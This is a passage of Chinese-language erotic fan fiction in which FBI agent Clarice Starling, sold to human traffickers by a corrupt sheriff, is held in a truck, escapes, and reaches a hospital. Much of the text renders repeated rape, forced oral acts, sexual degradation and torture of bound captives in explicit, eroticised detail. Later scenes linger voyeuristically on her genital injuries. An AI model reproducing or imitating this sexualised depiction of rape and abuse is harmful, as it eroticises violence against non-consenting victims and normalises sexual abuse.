    隔間裡面大約長十英尺、寬高各七英尺。除了牆壁上的幾根鐵欄杆和頂頭的一盞燈,地上只擺了張髒兮兮的破床墊。瘦高把史達琳扔到床墊上,用一根鐵鏈子,從史達琳反銬在背後的手臂間穿過,繞上兩圈,再鎖在鐵欄杆上。又在史達琳的胸前股間輕薄了一番後,淫笑著擰了擰史達琳的臉蛋,用西班牙語說:「小心肝兒,俺先歇歇,一會兒再來疼你。」
    瘦高出去時,順手關了頭頂的燈。黑暗中,史達琳在散發出一陣陣惡臭的床墊上蜷成一團。雖然自己經手過許多強姦和性虐案,但她從來沒有想過,輪姦竟然可以如此可怕。她的身體好像被揉碎一般,幾乎沒有一處不疼痛難忍。特別是飽受摧殘的下身,佈滿了大大小小撕裂的傷口,火辣辣的陣痛從下體深處一波波不斷傳來,簡直讓人發瘋。
    史達琳想在床墊上坐起身子。不過,雙手銬在背後,鐵鏈子纏在手臂上,又要小心翼翼照顧斷掉的腳踝,股間還一陣一陣疼得厲害,她掙紮了半天,才大口喘著氣、艱難地蜷著腿坐了起來。身子斜靠在車箱上,耳朵貼住箱壁,拚命聽外面的動靜。
    車廂的封閉性出奇的好,幾乎聽不到外面的聲音。不過從車身的顛簸還是能感覺出行駛的大致速度。很明顯這是高速。而且應該是條車流繁忙的主要高速。靜下心,四周馬達的轟鳴還是隱隱可辨。
    史達琳於是努力回憶密西西比、路易斯安那、德克薩斯通向墨西哥的高速路線圖。從位於密西西比的漢茲農場到墨西哥的最近路線,應該是走10號州際高速,穿過新奧爾良,從路易斯安那過境。全程大約十個小時。也就是說,人肉販子途中要至少加一次油。
    不過,也許他們會在美國境內某地停留。兩個墨西哥佬第一次輪姦她時,雖然被摧殘得死去活來,史達琳還是趁著川特在自己面前錄像的機會,記下了川特腕上手錶的時間:4點20。川特半夜談的生意,而墨西哥佬趕來只花了4個小時。他們一定從美國某地出發的。那也許是他們的據點。史達琳真希望墨西哥佬先回到那個據點。在美國停留的時間越長,逃脫的機會也就越大。
    現在車上除了自己,只有那兩個臭氣熏天的墨西哥佬。史達琳的西班牙語不錯,從兩人的對話,能聽出一個是頭目,一個是跟班。先強迫自己吹喇叭的那個性慾旺盛的急色鬼,是毛手毛腳的跟班。而先蹂躪自己菊洞的,則是那個沈穩的頭目。
    史達琳知道,一旦她被帶進墨西哥的淫窟,自己脫身的可能也就微乎其微。被奸詐殘忍的川特賣做性奴後,她最好的機會,就是在去墨西哥的這段路上,如果她能和一個墨西哥佬單獨在一起。特別是一個出於某種原因而精疲力竭、反應遲鈍、對她又毫無戒心的墨西哥佬。
    想起瘦高離開前的那句話:「小心肝兒,俺先歇歇,一會兒再來疼你」,史達琳居然心中一動,似乎那句話帶來了逃出生天的新希望。
    她現在要做的,就是盡可能第放鬆肢體、冷靜頭腦、積蓄力量。經過幾年的瑜珈訓練,史達琳掌握了許多四肢不能自由活動時如何放鬆自己的技巧。在黑暗中,史達琳開始艱難地活動自己的腰身手腳。
    ************
    六月二十三日,星期二,中部時間,08:20,密西西比
    與此同時,沖了個澡、換了件乾淨襯衫、吃了兩個煎蛋的縣治安官川特,出現在銀行的櫃檯前。一向準時上班的弗蘭克不在。川特並不奇怪,他知道哥哥才是只深藏不露的老狐狸,一定從自己提空存款的舉動中聞出了什麼。不過,弗蘭克跑不跑路,對川特來說,並沒有多大關係。重要的是拿到自己的十八、九萬現金。
    二十五分鐘後,拎著沈甸甸的皮包,川特剛剛走出銀行門口,正好碰上前來查賬的FBI高級特工奎因。寒暄之後,奎因問起麥耶和史達琳昨晚的活動。川特說,吃完晚飯後,麥耶和史達琳就一同離去。別的,他就不知道什麼了。
    「如果有了他們的消息,」川特向自己的車子走了兩步,轉過身大聲說:「我會馬上通知你們。」
    ************
    六月二十三日,星期二,中部時間,09:39,新奧爾良
    換了便衣的川特到達機場,用第一個假身份證,很順利地買了張10點05飛往紐約NEWAK機場的機票。現在已經開始登機,川特托運了那個不起眼的登機箱後,快步穿過人流,走向侯機大廳。
    ************
    六月二十三日,星期二,中部時間,09:43,路易斯安那
    墨西哥佬的箱式貨車拐進高速旁邊的休息處。開了一早上的矮胖8,推醒一直在旁邊打瞌睡的瘦高,自己下車去買咖啡。瘦高揉揉眼睛,狠狠伸了個懶腰,突然發現小睡了一覺,褲子裡的肉棒又直撅撅漲得難受。想起了車廂裡的光屁股女特工,瘦高心裡一動,連忙衝著老大的背影大喊了一句,「你先去吧,我到後面看看。」
    「混蛋小子,」矮胖低聲罵了一句,正要訓斥,轉念一想,老弟畢竟一個月沒碰過女人,小妞兒又那麼水靈,暗倉隔音效果又好,裡面即使打上一槍,外面的人也不一定聽得見,安全得很;再說,自己正要上廁所,慢慢悠悠蹲一蹲也不錯,於是轉身大聲道:「給你15分鐘!咱們10點10分上路!鎖好門!」
    瘦高飛快地鎖好駕駛室,來到車後,四處打量一番,打開貨箱大門,順手擰亮貨箱裡的一盞燈,然後鎖上貨箱門。他淫笑著推開帶暗輪的那排箱子,再擰亮暗倉的頂燈,邊解褲子皮帶,邊拉開暗倉門。
    史達琳還蜷縮在骯髒的床墊上,聽到聲音,她掙紮著想擡起頭,但刺眼的燈光讓她什麼也看不見。暗倉裡又悶又熱,史達琳光滑的皮膚上,亮閃閃的一層汗珠兒。
    「小母狗,醒醒。」瘦高蹲在史達琳面前,托起姑娘精巧的下巴,史達琳順從地擡起頭。不過,她還是睜不開眼睛。淩亂金髮中,那張受盡屈辱的俏臉,動人依舊。
    「水……我、我要水……水……」乾裂的嘴唇中,擠出幾聲虛弱的哀求。史達琳真的渴極了。最近的十幾個小時裡,她出了太多的汗,身體已經接近虛脫。
    「咦,你咋不厲害咧?」瘦高捉住史達琳的一隻乳峰,粗暴地揉搓幾下。史達琳的身子微微顫了顫,沒有反抗也沒有躲閃,聽任瘦高的欺辱。那粒可憐的蓓蕾猶豫一下,最後還是無可奈何地硬立起來。
    「水,我要水……求求你……」史達琳的聲音裡帶著哭腔。
    「唉,老大急著趕路,」瘦高嘟囔著西班牙語,「不能多耍會兒,」他又說起了含糊的英語,「渴了?好辦!俺早上還沒尿過咧。」擰了擰史達琳的臉蛋,他又換回西班牙語,「就是雞巴太漲,現在尿不出來呀。乾脆,你還沒吃過俺的果凍,待會兒俺就辛苦一下,喂到你嘴裡。一嘗你就知道了,俺的果凍味道可好啦。」
    「你的屁眼兒真不錯!」說著,瘦高解開纏在史達琳手臂上的鐵鏈子,然後粗暴地抓住史達琳的腰胯,把她擺成跪臥的姿勢。雙手銬在背後,史達琳幾乎無法保持平衡,搖晃幾下,乳房和面頰最後都緊緊貼在臭烘烘的床墊上,挺俏光滑的屁股被迫高高撅向空中。被四個男人蹂躪過的菊洞,又紅又腫,淒慘地敞著一個不規則的口子,上面好幾道被撕裂的新鮮傷口清晰可辨。
    瘦高雙手捏住柔軟的臀丘,向中間用力一擠,史達琳一聲哀鳴,一絲粘糊糊的精液從菊洞裡溢出來。瘦高挺住堅硬的肉棒,沈下身子,雙手掰開兩瓣臀丘,從後面狠狠插了進去。
    雖然插入沒費什麼力氣,菊洞入口那幾條剛剛凝結的傷口還是再次爆裂,鑽心的痛楚讓史達琳聲音嘶啞、氣息艱難。
    「啊……啊……」隨著肉棒的抽插,史達琳鼻孔中發出哀婉的呻吟,嬌巧的上身,抽筋斷骨一般,整個癱軟在床墊上,在肉棒的強力衝擊下,有節奏地來回頓挫。
    幾小時前男人們在菊洞深處留下的穢精,現在成了最好的潤滑物,抽插起來異常順暢。雖然洞口已經撕裂,腔壁也失去了幾小時前那種驚人的緊窄,快速的抽插還是讓瘦高幹得快感連連。也許因為憋尿,不過五、六十下他就險些走火。穩一穩神,他放慢了速度。
    又是五、六十下後,摸著史達琳滑嫩的大腿,瘦高忽然心生一計,下面不還有個肉洞嘛。他拔出肉棒,對準下面同樣狼藉的肉洞,狠狠插了進去。史達琳呻吟聲猛然一提。肉洞裡面溫溫的,沒有菊洞那般滾燙。不過,腫脹的花唇夾著肉棒,倒也是另一番滋味。
    瘦高就這樣,一下菊洞,一下肉洞地姦淫了一分鐘。好玩是好玩,但是動作不連續,實在不能算過癮。交替插兩個洞的新鮮勁兒一過,瘦高索性重新著力干起了史達琳的菊洞。
    雖然瘦高精力過人,可肉棒畢竟不是鋼澆鐵鑄,前面一連的幾場盤腸大戰,讓瘦高現在很快便心有餘而力不足了。不消幾分鐘,他就接近崩潰的邊緣,一邊哼哼著,一邊拔出肉棒,揪著史達琳的金髮,盡量把她的臉拉近肉棒頂端,瘋狂套弄自己的肉棒。
    史達琳覺得自己的脖子就要扭斷時,離她鼻尖不過一英尺的怪獸,終於猛然一跳。她連忙閉上眼睛。第一波熱乎乎的精液,似乎劃著風聲,撲面而來,一股狠狠擊中她的面頰,另一股掛在她的髮梢。緊接是第二波、第三波……
    瘦高牛喘著擠干了陰囊所有的庫存。看著史達琳那張橫七豎八塗滿自己精液的俏臉,瘦高簡直對自己佩服得五體投地。不簡單,真不簡單。一早上,連干四炮,而且炮炮彈藥充足。別看最後這炮有點稀乎乎,量還是很多的嘛。「真他娘的大將風範!」
    瘦高鬆開史達琳的頭髮,自己一屁股坐下去,呼呼地喘氣。奄奄一息的史達琳再也無法保持平衡,手臂在背後努力地掙了掙,還是緩緩地向右面倒下去。斷掉的右腳被壓在下面,史達琳痛得一下迸出幾滴眼淚。她蜷縮在床墊上,胸口劇烈起伏,氣息卻十分細弱。
    「你不是渴了麼?」緩過了勁兒的瘦高又說著英語,湊到史達琳面前,「快吃果凍!」說罷,在史達琳的屁股上狠狠來了一巴掌。
    閉著眼睛,史達琳緩慢地伸出粉嫩的舌尖,把散落在嘴唇上和嘴角邊的五、六滴白濁穢物舔乾淨。鹹鹹的精液,涼冰冰的。
    「咋樣?好吃吧,」瘦高開心得很,他看見還有一條粘精恰好掛在史達琳鼻尖,下半段還垂在空中,隨著史達琳的鼻息來回的搖擺。「接著吃,鼻子上還有。」
    捏住史達琳的一隻乳峰,他又狠狠掐了一下。
    史達琳嬌軀一顫,低低悲鳴一聲,無可奈何地張開嘴,上面還一片滑膩的舌尖,再次伸出來,竭力上探,左右搜尋,終於碰上了那股已經變涼的濁精。白乎乎的濁物沾在粉嫩的舌尖上,居然格外紮眼,直到最後消失在史達琳的櫻唇中。
    雖然史達琳始終閉著眼睛,微蹙的眉頭和蒼白的臉色,依然寫滿了屈辱。
    看著這個FBI的明顯女特工被自己隨意欺淩,瘦高愈發得意,「嫌果凍不過癮?正好,俺還有點尿。別急,馬上就來。」說著,他抓住史達琳的左腳,把她翻成仰面朝天,自己跨開雙腿,站在史達琳腰間,手指扶著癱軟下來的肉棒,對準了史達琳的臉。
    就在瘦高拚命用力,想憋出尿的當口,一直緊閉雙目的史達琳猛然睜開眼。湛藍的眼睛裡,竟是一股逼人的冷漠和殺意。瘦高好容易醞釀出的一絲尿意,竟被史達琳駭人的目光嚇了回去。
    那絕不是任人宰割的羔羊的眼神。瘦高雖然不算聰明過人,卻也立刻明白這不對勁兒。一定是哪兒出了毛病。
    他下意識地低下頭,發現自己的兩條大腿間,軟坨坨的肉棒之下,突然揚起一條雪白筆直的小腿,既光潔又修長,夾在自己毛茸茸的粗腿間,十分的詭異,出奇的性感。
    順著那條小腿,他又看到一隻骨肉勻停的裸足,腳掌向上,幾乎就要貼上他黑乎乎的肉棒。瘦高還從來沒有從這個怪異的角度細看過女人的腳底。雪亮的燈光下,精緻的赤足一絲不著,掌心的肌膚顯得格外細膩。小巧的足弓又窄又俏,加上一根根娟秀的腳趾和一朵朵豐腴的趾丘,竟讓人覺得口乾舌燥,非要把它們捉在手裡,好好把玩一番不可。
    這漂亮的小腳丫兒,該不是幾個小時前,被傑克細細玩弄的那個?
    瘦高甚至還沒想到躲閃,就聽到「撲」的一聲,好像什麼東西漏了氣。
    接著,他眼前一黑,失去了知覺。甚至沒來得及聽到自己的慘叫。
    ************
    史達琳一擊得手,興奮的喘不過氣來,毫不在意昏死過去的瘦高還大山般壓在自己的身上。她終於等到了剛才的機會,瘦高叉開雙腿,下體完全暴露,毫無防備。左膝悄悄擡起,然後左腳從男人腿間狠狠蹬上他的陰囊。這動作很難看,也不正規,此刻卻極為實用,瘦高的兩粒睪丸只怕已經被剛才那一腳齊齊踢爆。
    一路上史達琳都在盡力地恢復自己的體力。完好的左腿是她現在最有效的武器。車子剛停下,她就連忙重新蜷縮在床墊上,裝出精疲力竭的樣子。雖然真的口渴至極,但那些虛弱的哀求,不過為了麻痺瘦高。被蹂躪時的順從,也是刻意為之。瘦高發洩完獸慾,史達琳癱倒在地時,故意向右倒下,空出左腿,耐心地等待最後的致命一擊。
    史達琳用力從瘦高身體下面一點一點鑽出來。雖然全身酸痛,史達琳還是坐在地上,深吸一口氣,掙紮著一個就地後滾翻。銬在背後的雙手,借力從光溜溜的臀丘上面艱難地反套過去,翻到面前。身體還很虛弱,劇烈的後滾翻,讓史達琳眼前再次飄滿金星,不得不扶著牆大口地喘氣。赤裸的大腿也輕輕地顫抖。
    她不知道自己還有多少時間,但她明白自己動作一定要迅速。胡亂抹了把臉上的精水,史達琳先搜了瘦高的身,沒有找到指銬的鑰匙,倒是翻出了自己的手槍。看著自己受盡淩辱的裸體和倒在地上的瘦高,百般滋味同時湧上心頭,眼前不禁模糊一片。史達琳忽然抓起手槍,發瘋般地對著瘦高的腦袋狠命砸下去。
    一下又一下。
    轉眼之間,瘦高臉上已是血肉模糊。淚光中,史達琳又用槍把對準了瘦高軟綿綿的肉棒,狠狠幾下,幾乎砸得稀爛。剛才被打得好容易恢復了一點兒意識的瘦高,這回哼哼了幾聲,徹底昏死過去。
    稍稍冷靜之後,史達琳才想起自己的身份。「作為聯邦執法人員,在任何情況下,不能以任何方式傷害及虐待並未對公共安全造成直接威脅的疑犯。」
    這樣痛毆毫無反抗能力的疑犯,絕對會毀掉一名特工的前程。
    不過,史達琳絲毫也不為自己剛才的衝動而後悔。對待這樣瘋狂摧殘過自己的禽獸,無論什麼樣的報復也不算過分。如果不是時間不夠,體力不支,她還真想一根根掰斷剛剛大肆輕薄過自己的那十根手指。
    當然,現在她還有更要緊的事。她還要對付另一個墨西哥佬。剛剛用牆上的鐵鏈子把死豬一般的瘦高綁好,就聽到了外面車廂門開鎖的聲音。依舊赤身裸體的史達琳靠在牆上,然後深吸一口氣,雙手舉槍,對準車門。
    ************
    六月二十三日,星期二,中部時間,10:10,路易斯安那
    矮胖老大喝咖啡燙了舌頭,這讓他覺得整個早上都不舒服。想起老二還在生龍活虎地玩那個女特工,他更加不痛快。這小子什麼時候才知道正經事最重要?這個老二真不讓他省心。
    車廂緊閉。「你他媽還沒搞完!」邊嘟囔著,矮胖邊摸出一串鑰匙,打開車廂門,手裡還拎著個紙袋子,爬進車廂。如他所料,瘦高還在隔間裡。矮胖轉身關上車門。
    「買了薯條,趁熱吃,」矮胖拉開隔間的鐵門,然後滿臉驚訝,手裡的薯條不禁灑了一地。
    他從來沒有想到,一進去,首先看到的,竟是一隻黑洞洞的槍口!槍口的後面,一雙充滿仇恨的湛藍眸子。堅定,冷漠,讓人不寒而慄。
    即使看到老弟倒在地上,滿頭是血,一動不動,矮胖一時也沒有搞明白究竟發生了什麼。被一個光著屁股、滿臉精水的小妞兒用槍指著頭,而那小妞兒幾個小時前還被他幹得死去活來,這可真是矮胖一輩子裡最荒謬的事情啦。
    「趴在地上,雙手放在腦後。」史達琳的語氣冰涼刺骨,幫著矮胖老大回到現實。
    矮胖遲疑一下,緩緩地舉起雙手,慢慢蹲下去。
    這婊子手裡有槍,他還有別的選擇麼?
    就在他的膝蓋碰上地板的一剎那,矮胖忽然擡頭望著史達琳的身後,滿臉驚訝的樣子。
    史達琳不禁也扭了下頭,背後是牆,什麼也沒有,她心頭一緊,知道不妙。
    此時矮胖根本不容她反應,已經大喝一聲,整個身子向前猛然一縱,以和他肥胖身軀不相稱的敏捷,撲向史達琳的中路。
    矮胖的攻擊雖然兇猛突然,受過多年訓練的史達琳並沒有驚惶失措。她知道隔間過於窄小,無法周旋,而且自己又跛了一隻腳,單單躲閃肯定無濟於事。
    於是,史達琳索性原地未動,只是雙手舉槍,穩穩瞄準了矮胖的肩膀。她要留活口。她不想讓矮胖死得這麼簡單。
    在矮胖離她還有不到兩尺的時候,史達琳扣動了扳機。
    只是,預料中震耳欲聾的槍聲,並沒有出現。
    川特卸掉了彈夾!這是一隻空槍!
    史達琳的心突然沈下去,彷彿掉進了無盡的深淵。
    矮胖厚牆一般的身軀已經近在咫尺,粗厚的大手已經要碰到了史達琳滑溜溜的大腿。
    她已經無處可躲。
    絕望中,史達琳還在徒勞地扣動扳機。
    在槍機清脆的「啪、啪」聲中,飛撲過來的矮胖,像一個久經沙場的橄欖球擒殺後衛,右手抱緊史達琳的大腿,左手攬住她的屁股,右肩狠狠撞在姑娘柔軟的小腹。與此同時,史達琳手中的槍柄也砸在了矮胖的腦袋上。可惜,雙手銬在一起,怎麼也發不出力,這一擊根本阻止不了皮糙肉厚的矮胖。
    史達琳被矮胖死死抱住,兩人一起飛起來,狠狠撞在後面的牆上,然後一同倒下。史達琳赤裸的後背直接撞在牆上,巨大的衝擊下,五臟六腑似乎都翻了個兒,幾乎讓她失去了知覺,手中的槍也不知被飛到了哪裡。
    拚死一搏的矮胖也同樣頭暈眼花,根本無暇顧及自己為什麼沒有中彈。就在撞牆的瞬間,史達琳的腰肢忽然一扭,他的頭便直接碰在牆上。他撲的極猛,這一撞讓他眼前全是金星,辨不清東南西北。不過,他知道史達琳還是被他壓在身下、動彈不得。兩個人一旦纏絞在一起,矮胖就確信自己已經有了絕對優勢。
    現在誰先恢復,發動攻擊,誰就會佔據主動。
    史達琳在昏沈沈中,還是沒有忘記這條貼身肉搏中的格言。她的腿被矮胖死死壓住,只好雙手握拳,揮動酸痛的手臂,奮力擊打矮胖並未設防的後腦。
    如果銬著雙手的是一副沈甸甸的鋼銬,也許一擊便會奏效。可惜,那手銬過於精巧,而且,矮胖立即開始了暴風雨般的反擊。
    他的右手鬆開史達琳的大腿,右肘略略後縮,拳頭握緊,然後對著史達琳柔軟的肋下,就是狠狠兩記連續的短直拳。
    史達琳痛苦地彎下腰,大口咳嗽著,雙手軟綿綿地垂下來,再也無力去擊打矮胖的腦袋。
    窄小隔間裡,糾纏在一起的兩個人的殊死搏鬥,幾秒鐘內,便閃電般結束。
    第二十四章
    ***********************************
    六月二十三日,星期二,中部時間,10:12,路易斯安那
    從小就靠一雙拳頭打天下的矮胖,在和史達琳這樣的小妞兒貼身肉搏時,自然對自己的力量和經驗極為自信。他的拳頭,一定會像幾個小時以前另一場肉搏大戰中的那條大肉棒一樣,幾下就讓這小妞兒求生不得、欲死不能,軟綿綿地癱在那裡,聽任自己擺佈。
    要不是她是老闆的重要「貨物」,不能破相,矮胖相信只消在下巴上狠狠來它一下,保準小妞兒老老實實昏死過去。不過,他在史達琳肋下的連續兩擊直拳也幾乎讓她軟了手腳,光溜溜的脊背斜靠在牆上,張大了嘴,卻喘不上氣。
    雙手無力地掩在赤裸的胸前,史達琳的臉色死人一般蒼白。
    「打俺老弟?俺扒了你的皮!」死死壓住史達琳一絲不掛的大腿和腰胯,矮胖知道大局已定,眼角瞟到旁邊血肉模糊的瘦高,不由心頭火起,直起身子,伸出鐵鉗一般的手指,狠狠捏住史達琳胸前一粒正隨著喘息而劇烈顫抖的乳頭。劇痛之中,史達琳猛然繃直了身子,纖秀的肩頭不斷抽搐。
    「臭婊子,要是俺老弟有個好歹,俺撕了你!」矮胖揮起大手,對著史達琳就是狠狠一記耳光。
    史達琳哀鳴一聲,整個上身幾乎都撲倒在地板上。淩亂的髮梢遮住了她的面龐,淚珠兒不爭氣地滾出來,滑過火辣辣的臉頰。這是她有生以來第一次被人打耳光。
    矮胖還是不依不饒,他伸手抓住史達琳光滑的肩頭,想把她的身子拉直,再抽上兩記耳光。
    就在史達琳身子直起來的一霎那,史達琳還銬在一起的雙手猛然擡起,居然穩穩抓住了矮胖的手腕,接著順勢拉直他的右臂。矮胖心中一驚,剛要掙脫,手腕已經被反關節扣住,無法發力。左拳揮起,還未擊出,史達琳上身一翻,藉著腰力,雙手交錯,用力反壓,一個完美的肘部十字固,鎖死了矮胖的右臂。
    這一招借力打力,史達琳在FBI的訓練館裡練習過幾十次。她熟知出手的角度和時機。雖然她的身體還被劇痛所麻痺,但矮胖大意中露出的破綻,她又怎能錯過?
    戰局,居然一瞬間扭轉。
    「操!」被動已極的矮胖大吼一聲,強行轉身,左拳狠狠地打向史達琳的下巴。史達琳縮頸側身,險險躲過這一拳,同時雙臂一扭,藉著矮胖自己的力量,竟然把矮胖的右臂活生生擰脫臼,然後趁矮胖痛得發愣的空隙,雙手抓起地上的手槍,連續猛擊矮胖的頭部。
    滿臉是血的矮胖呻吟著癱倒在地。
    現在,才真的大局已定。
    ************
    六月二十三日,星期二,中部時間,10:25,路易斯安那
    雙手被指銬銬在背後的矮胖,赤著上身,叉開雙腿,靠在牆角,頭上還在流血。瘦高還趴在床墊上,雙手攤在地上。史達琳單膝跪在瘦高旁邊,身上套著矮胖的背心,那是整個車廂裡,唯一一件她還穿得上、又沒有沾滿血汙的衣物。
    「最後一遍,誰是那個傑克?」史達琳這次用西班牙語,同時高高舉起了沈重的手槍。
    「臭婊子,有本事沖俺來!別欺負俺老弟!」矮胖聲音嘶啞,神態激昂。
    「好。」史達琳手中的槍柄狠狠砸在瘦高左手的中指上,昏迷中的瘦高再次發出含糊的呻吟聲,他又斷了一根手指。實際上,他完好的手指已經所剩無幾。
    「你會開口的。」史達琳知道現在每一分鐘都極為寶貴,她必須盡快通知警方,抓捕川特。拖著右腳,史達琳來到矮胖面前,一手扶著牆,調整好重心,赤裸的左腳忽然飛起,狠狠踢向矮胖的兩腿之間,矮胖發出一聲野獸般的慘叫,蜷縮起來,肥胖的身軀居然在地上滾了幾滾。
    史達琳扶著牆,緩緩挪向車門。「俺、俺日你娘啊……」背後傳來矮胖的悲鳴。史達琳稍稍頓了一下,並沒有停留,一氣走到車門。背心過於胖大,走起路來飄飄蕩蕩的,全身上下幾乎沒有遮掩,「如果有條皮帶……」她一低頭,看到了自己右腳上那條殘破的彈力襪。
    ************
    六月二十三日,星期二,中部時間,10:28,路易斯安那
    這是10號高速旁邊一家普通的加油站,便利店寬大明亮,一排排貨架上,各色速食和零食琳琅滿目。緊挨著州際高速,即使是星期二的上午,店裡生意也好得很,三個收銀員忙得團團轉。二十歲的珍妮做收銀員剛剛一個星期,顧客一多,自然有些手忙腳亂,那台該死的信用卡機更是火上澆油,時不時出些毛病。這不,又是一張廢票。
    「對不起,再刷一次卡。」珍妮擡起頭,對櫃檯前60多歲的老頭兒說。
    老頭沒有反應,正滿臉驚訝地盯著窗外。珍妮發現其他人也都看著外面,她好奇地轉過頭,不禁也驚呆了。一個衣著古怪的年輕姑娘,光著腳,右手拄著根棍子,正一瘸一拐地穿過停車場,朝小店艱難地挪過來。她的頭髮很亂,右腳一定出了什麼毛病,蜷縮著不敢著地。
    那姑娘來到門前時,珍妮終於看出,她只穿了一條過於胖大的男式背心,腰間居然胡亂繫了條絲襪,看起來像條過短的裙子。背心的下擺剛遮過屁股,兩條光溜溜的大腿,幾乎齊根裸出。上面更糟,她一定沒有戴乳罩,那對毫無束縛的的乳房不安份地上下跳動,似乎隨時可能跳出背心來。
    最要命的,她左手還拎著一支手槍,幾個打算過去幫忙的顧客,看到那支手槍,都留在了原地。
    「珍妮,趕緊報警。」經理先反應過來。珍妮哆嗦著撥著911。
    「911報警中心,如果你需要急救或者員警保護……」
    握著電話,珍妮沒有出聲,因為那個姑娘已經推開店門,堵在門口的顧客紛紛後退,讓出一條路,驚訝地看著這個不速之客。那姑娘徑直來到珍妮面前,松開右手的棍子,從綁在腰間的絲襪上摸出個小夾子,伸到珍妮面前。
    那是一張FBI的證件,照片裡的女特工神采飛揚。
    那姑娘淒慘決絕的眼神很嚇人,讓珍妮一輩子也忘不掉。她聲音沙啞:「我是聯邦特工,我要用一下電話。」
    珍妮連忙遞過電話,姑娘把手槍放在櫃檯上,接過電話:「我是聯邦特工克拉麗絲?史達琳,情況緊急,請轉接FBI新奧爾良分局……找奎因特工……」
    櫃檯裡的珍妮,仔細端詳著面前的這個聯邦特工。她的聲音很鎮定,也很虛弱。她一定疲憊不堪,整個身子都斜靠在櫃檯上;過於肥大的背心捲起來,露出大片的胸口,右面的乳房已經全裸。那乳房倒真漂亮。
    她的頭髮很亂,被汗水或是其他什麼東西黏成一縷一縷;光滑的面頰上也橫一道豎一道滿是黏液的印子,連長長的睫毛也糊在一起;右頰上,還有幾道嚇人的紅腫;嘴唇下面全是咬破的牙印兒,下嘴唇還腫了一大塊兒。
    更讓珍妮觸目驚心的,還是那姑娘身上的纍纍傷痕。兩個手腕上好幾道捆綁的痕跡,雪白的大腿上也有好幾塊又青又紫。真正把珍妮嚇壞的,還是姑娘完全暴露在外的右面乳房,粉紅色的精緻乳暈四周,居然佈滿了紅腫的牙印和清晰的手指抓痕。
    那條髒兮兮的破背心,散發著刺鼻的狐臭,幾乎把珍妮熏倒。但她還是聞出了史達琳身上另一股特殊的味道,那是濃郁的精液的味道,似乎從史達琳全身散發出來,從髮梢到股間。
    「天呀,她都經歷了什麼樣的折磨啊?」珍妮心中默默地憐惜著這個比自己大不了幾歲的女特工。
    史達琳打完電話後,疲憊地對珍妮說:「能不能幫我去一趟廁所?我的腳斷了。」珍妮連忙扶著女特工去了廁所。史達琳一進廁所,就撲到馬桶前,大吐特吐,她似乎連苦膽都要吐破了。
    破背心的下擺蹭到了脊背上,挺俏的臀丘暴露出來。站在史達琳背後,珍妮清清楚楚地看到了史達琳淒慘的股間。那裡最醒目的,是被撕扯得不成樣子的菊洞,敞著一個黑黑的口子,輕輕地抽搐著,一絲濁白的精液緩緩地溢出來,流淌到又紅又腫、狼藉不堪的花唇上。
    珍妮嚇得連忙移開了眼睛。
    在門外等史達琳小解完後,珍妮幫史達琳草草洗了洗臉,翻出一套自己的工作服讓她換上。
    這時,門外響起了刺耳的警笛聲。
    ************
    六月二十三日,星期二,中部時間,10:45,漢茲農場
    第一輛警車呼嘯著衝到了農場破舊的小樓面前,接著是第二輛、第三輛。員警很快就在地下室發現了聯邦特工基尼?麥耶的屍體。一名警員忙著給現場拍照的同時,另一名警員蹲在地上,小心翼翼地用鑷子夾起史達琳那條沾滿精汙的殘破裙子,放進塑膠袋中。
    ************
    六月二十三日,星期二,東部時間,11:05,紐約NEWARK機場
    川特的飛機在NEWARK機場順利降落。十五分鐘後,川特找到了自己的行李箱,他快步走出行李領取大廳,順著標誌走到計程車站,上了一輛黃色的計程車。「曼哈頓,四十五街,趕時間,麻煩您快點兒。」
    ************
    六月二十三日,星期二,中部時間,11:20,新奧爾良
    一輛救護車飛速駛進了圖靈(TULANE)大學醫院的急救中心。「一、二、三!」喊著口號,工作人員把史達琳的擔架平移到推車上,一路小跑地推向急救室。
    在救護車上已經打了一針嗎啡的史達琳,語氣平靜地告訴跟在旁邊的醫生:「我的右腳可能斷了,大約十二個小時前。」
    「別擔心,特工史達琳,」醫生看著手中的病歷:「這就去拍片子。不會有問題的。」
    趁著等待拍片子的空隙,一名中年女護士幫史達琳換了一身病號服,順便在史達琳的病歷上記下:「有明顯性侵犯痕跡,建議婦科檢查、處置。」
    疲憊已極的史達琳,並沒有注意每一個醫生、護士走到自己身邊,都會不自覺地吸吸鼻子,然後再悄悄瞄她一眼。即使醫院裡到處瀰漫著刺鼻的消毒水味,史達琳髮梢的精液味道也依然清晰可辨。
    ************
    六月二十三日,星期二,中部時間,11:40,新奧爾良
    「片子出來了,」醫生告訴史達琳:「右腳踝骨骨裂,不過情況不算壞,十個星期就能完全復原。對了,你的一個同事要見你。」
    奎因快步走到史達琳的床前:「克拉麗絲,」一身整潔的淡藍色病號服,顯得史達琳頭髮更加淩亂,身上的傷痕也愈發醒目,即使見多識廣、沈穩老練,奎因也一時不知道如何開口,此刻,他更為早上輕易放走川特而懊惱不已:「麥耶特工的事,我非常難過……」
    倒是史達琳擡起頭,勉強笑了一笑:「有沒有川特的消息?」
    「很可惜,讓他跑掉了。」奎因搬過一張椅子,在史達琳床前,他吸了吸鼻子,把椅子往後挪了挪:「早上他去銀行清戶。機場已發出了通緝令。川特的哥哥,一個銀行經理,也失蹤了。第一時間通知了克勞福德,他下午就會到。我們正在突審馬裡奧兄弟。對了,小馬裡奧還在昏迷之中,情況不太穩定。不過,這個你不必擔心,報告我來寫。」
    「必須讓小馬裡奧馬上開口,」史達琳眼睛看著天花板,語氣很平靜:「不然,墨西哥很快就會發現這邊出了問題。而且,」史達琳頓了頓:「大馬裡奧非常關心他弟弟。對,非常關心。」
    「對不起,」醫生和兩名護士匆匆走進來:「現在就去給你的腳打石膏。」
    「我明白了,」奎因站了起來:「我會馬上跟墨西哥警方聯繫的。」在走廊裡,他深深地吸了幾口氣,剛才史達琳身上精液的味道讓他心痛欲絕,根本不忍呼吸。
    ************
    六月二十三日,星期二,東部時間,13:15,紐約甘迺迪國際機場
    川特剛剛用第二個假護照買了一張西北航空公司的機票,下午14:30直飛凱曼群島的,飛行時間5個小時,17:30到達凱曼群島的歐文?羅伯茲國際機場。
    雖然川特從來沒有去過凱曼群島,但對這個英聯邦的渡假勝地非常瞭解。一共三個島,土著居民只有四萬,而每年的遊客卻高達50萬。川特之所以選擇凱曼群島,一是作為美國公民,進出無須簽證;二是那裡的銀行系統大名鼎鼎,既發達又自由,絕對的洗錢天堂。
